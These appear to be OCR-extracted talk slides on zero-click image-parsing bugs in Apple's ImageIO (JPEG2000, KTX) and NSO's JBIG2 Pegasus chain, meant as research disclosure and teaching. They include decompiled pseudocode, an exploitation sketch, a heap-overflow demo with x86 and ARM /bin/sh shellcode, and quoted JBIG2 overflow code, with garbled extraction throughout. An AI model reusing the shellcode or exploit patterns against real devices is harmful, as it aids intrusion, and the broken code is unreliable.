### lmages, iPhone, bugs & NSO

#### Whoami

@garfie\_d

Ex Abertay 2015-2020

Ex Royal Holloway researcher

Kings College London Current

Software development, security research, reverse engineering, bug bounty things.

## Objective

How can you get a zero click on a iPhone?


## Send them a meme.jpg



#### Basic stack overview

Format Name	Is Supported by iOS	Is Supported by macOS
Al	V	<b>▽</b>
ASTC	V	<b>▽</b>
ATX	<b>V</b>	<b>▽</b>
AppleJPEG	V	<b>▽</b>
BC	V	V
ВМР	V	V
CUR	V	V
ETC	V	V
GIF	V	V
HEIF	V	V
ICNS	V	V
ICO	V	V
JP2	V	V
KTX	V	V
KTX2	V	V
LibJPEG	V	V
MPO	V	V
OpenEXR	V	V
PBM	V	V
PDF	V	V
PNG	V	V
PICT	×	V
PSD	V	V
PVR	V	V
RAD		V
SGI	×	V
TGA	<b>~</b>	<b>V</b>
TIFF	V	<b>V</b>
WebP	V	<b>▽</b>
Total Supported Formats:	27	29

# ImagelO



### Jpeg2000




- Improved Image Quality: Provides superior image quality, preserving fine details.
- Efficient Compression: Achieves better compression, especially for high and low-frequency information.
- Advanced Features: Supports progressive coding and region of interest, catering to diverse applications.
- Applications: Developed to meet the evolving needs of industries like medical imaging, satellite imagery, and digital cinema.

#### Jpeg 2000



- Key Technologies:
  - Discrete Wavelet Transform (DWT)
  - Embedded Block Coding with Optimized Truncation (EBCOT)



#### LibJP2.dylib

Disclosed to Apple 27/01/2024

Somona 14.3

3428 functions for Image handling

Pointer dereference in kd\_packet\_sequencer::next\_in\_sequence

Pointer dereference in kd\_tile::set\_elements\_of\_interest

Reachable Assertion in kdu\_kernels::derive\_taps\_and\_gains

#### kd\_packet\_sequencer

```
int kd_packet_sequencer::next_in_sequence(kd_resolution*& resolution, kdu_coords& coords) {
    // Function signature: int kd_packet_sequencer::next_in_sequence(kd_resolution*&, kdu_coords&)
    // Save registers and allocate stack space
    stack[16] = r20;
    stack[24] = r19;
    stack[32] = r29;
    stack[40] = r30;
    // Get arguments
    void* kd_resolution = resolution; //arg0
    void* kdu_coords = coords; //arg1
    // Adjust stack pointer
    r31 = r31 + 0xfffffffffffffd0;
                                                                                             ereferenced
    // Check if the current packet is not the last one
    kd_resolution* r8 = *kd_resolution; //
    if (*(int32 t *)(r8 + 0x134) != *(int32 t *)(r8 + 0xd0)) {
        int32_t r16 = *(int32_t *)(kd_resolution + 0x20);
       // Check the value of r16
        if (r16 \ll 0x4) {
            if (r16 \le 0x4) {
                // Check CPU FLAGS & BE
                if (!(CPU_FLAGS & BE)) {
                    r16 = 0x0;
                } else {
                    r16 = r16;
            // Call a function based on the value of r16
            kd_resolution = (0x18eacd9c0 + sign_extend_64(*(int32_t *)(0x18eacdac0 + r16 * 0x4)))();
        } else {
            // Call kd_packet_sequencer::next_in_sequence()
            kd_packet_sequencer::next_in_sequence();
    } else {
        // Set return value to 0 if the current packet is the last one
        kd_{resolution} = 0x0;
    // Return the result
    return kd_resolution;
```

#### Possible Exploitation

// Assume an attacker has control over the kd resolution object

```
kd_resolution* attacker_controlled_resolution = // Image Object our encoded data
// Modify the necessary fields within the attacker-controlled kd_resolution object
attacker_controlled_resolution->attacker_controlled_field = 0xffffffff; // Modify fields based on the target system's memory layout
kd_packet_sequencer::next_in_sequence(attacker_controlled_resolution, ...);
kd_resolution* r8 = *kd_resolution;
// Check if the current packet is not the last one
if (*(int32_t *)(r8 + 0x134) != *(int32_t *)(r8 + 0xd0)) {
    int32 t r16 = *(int32 t *)(kd resolution + 0x20);
   // Check the value of r16
   if (r16 \le 0x4) {
        if (r16 \le 0x4) {
           // Check CPU_FLAGS & BE
            if (!(CPU_FLAGS & BE)) {
                r16 = 0x0;
            } else {
                r16 = r16;
        // Call a function based on the value of r16
        kd_resolution = (0x18eacd9c0 + sign_extend_64(*(int32_t *)(0x18eacdac0 + r16 * 0x4)))();
   } else {
        // Call kd_packet_sequencer::next_in_sequence()
        kd_packet_sequencer::next_in_sequence();
} else {
   // Set return value to 0 if the current packet is the last one
    kd resolution = 0 \times 0;
// Assuming an attacker-controlled value in r16, the attacker could manipulate the code flow.
// Example: Set r16 to a value corresponding to an attacker-controlled function pointer
r16 = attacker_controlled_resolution->attacker_controlled_field;
// Call a function based on the manipulated value of r16
kd_resolution = (0x18eacd9c0 + sign_extend_64(*(int32_t *)(0x18eacdac0 + r16 * 0x4)))();
// The attacker-controlled function pointer may point to shellcode or any arbitrary code.
```

#### CVE-2023-?????? Heap overflow in ktxTexture2\_constructFromStreamAndHeader

Allocate memory on heap for r1 is memory of r0

Allocate memory on heap for r1

Allocate memory on heap for r0

Sst stream value

**Funtion** 

#### ktxTexture2\_constructFromStreamAndHeader

```
r1 = malloc(r24);
 r1 = malloc(r23);
 r0 = malloc(r24);
r24 = *(int32_t *)(r21 + 0x3c);
      _ktxCheckHeader2_
```

#### A Little deeper

```
int main() {
   size_t r24 = 24;
   size_t r23 = 23;
   // Allocate memory for r0, r1, and r2
   char *r0 = (char *)malloc(r24);
   char *r1 = (char *)malloc(r23);
   char *r2 = (char *)malloc(24);
   // Assume that we copy some data into r1, and a vulnerability exists here
   // due to insufficient bounds checking.
   strcpy(r1, "This is a buffer overflow example");
   // Now, an attacker might overflow r1 to overwrite control data in r2
   // Let's assume r2 has some critical control data like function pointers or return addresses.
   // Example shellcode (x86 assembly) that an attacker might inject:
   char shellcode[] =
                                   // xor eax, eax (clear eax register)
       "\x31\xc0"
       "\x50"
                                   // push eax (push null-terminated string terminator)
       "\x68\x2f\x2f\x73\x68"
                                   // push 0x68732f2f (push "//sh" onto the stack)
       "\x68\x2f\x62\x69\x6e"
                                   // push 0x6e69622f (push "/bin" onto the stack)
       "\x89\xe3"
                                   // mov ebx, esp (set ebx to the address of the stack)
       "\x50"
                                   // push eax (push null for termination)
                                   // push ebx (push the address of "/bin//sh" onto the stack)
       "\x53"
                                   // mov ecx, esp (set ecx to the address of the stack)
       "\x89\xe1"
       "\x31\xd2"
                                   // xor edx, edx (clear edx register)
                                   // mov al, 0x0b (set syscall number for execve)
       "\xb0\x0b"
                                   // int 0x80 (make the system call)
       "\xcd\x80";
   // Overflow r1 to overwrite data in r2 with the shellcode
   memcpy(r1, shellcode, sizeof(shellcode));
   // The attacker's goal is to manipulate control data in r2 so that the program
   // will execute the injected shellcode when r2 is used.
   // Free allocated memory
   free(r0);
   free(r1);
   free(r2);
   return 0;
```

#### Possible Example


```
"\x01\x30\x8f\xe2"
        "\x13\xff\x2f\xe1"
        "\x78\x46\x0e\x30"
        "\x01\x90\x49\x1a"
        "\x92\x1a\x08\x27"
        "\xc2\x51\x03\x37"
        "\x01\xdf\x2f\x62"
        "\x69\x6e\x2f\x2f"
        "\x73\x68";
    Overflow
   char *r0 = (char *)malloc(r24);
   char *r1 = (char *)malloc(r23);
   char *r2 = (char *)malloc(24);
ktxTexture2_constructFromStreamAndHeader
          ImagelO
```

Hey Look at

this Garfield

texture

#### CoreGraphics



#### J2BIG

#### J2BIG:


- J2BIG is associated with JPEG 2000 and specifically handles bi-level images (binary images with two colors, usually black and white). Compression Process:
- JPEG 2000 compression involves multiple steps, including wavelet transformation, quantization, and entropy coding.

#### LSB and Transformations:

• The concept of taking the Least Significant Bit (LSB) for transformations is not directly associated with JPEG 2000.

#### **Efficient Binary Image Compression:**

• J2BIG within JPEG 2000 is designed to efficiently compress binary images, such as those with only two colors (black and white).




Halftone encoding

# NSO Group



#### Overflow and exploitation

```
Guint numSyms; // (1)
numSyms = 0;
for (i = 0; i < nRefSegs; ++i) {
  if ((seg = findSegment(refSegs[i]))) {
   if (seg->getType() == jbig2SegSymbolDict) {
      numSyms += ((JBIG2SymbolDict *)seg)->getSize(); // (2)
     else if (seg->getType() == jbig2SegCodeTable) {
      codeTables->append(seg);
   else {
    error(errSyntaxError, getPos(),
          "Invalid segment reference in JBIG2 text region");
   delete codeTables;
    return;
// get the symbol bitmaps
syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); //
kk = 0;
for (i = 0; i < nRefSegs; ++i) {
 if ((seg = findSegment(refSegs[i]))) {
   if (seg->getType() == jbig2SegSymbolDict) {
      symbolDict = (JBIG2SymbolDict *)seg;
      for (k = 0; k < symbolDict->getSize(); ++k) {
        syms[kk++] = symbolDict->getBitmap(k); // (4)
```



### Pegasus Spyware

Image based chained exploits

Turing complete machine

# At least 30 journalists, lawyers and activists hacked with Pegasus in Jorda forensic probe finds

A new report says Israeli-made Pegasus spyware was used in Jordan to hack the cellphones of nearly thre dozen people including journalists, lawyers and human rights activists

Frank Bajak • 3 hours ago







# Jamal Khashoggi's widow files lawsuit against NSO Group

Hanan Elatr Khashoggi says Israeli tech company used its Pegasus

Investigation reveals
Pegasus spyware used to
track over 50,000 people

lulv 19, 2021

### Thank you, and any Questions?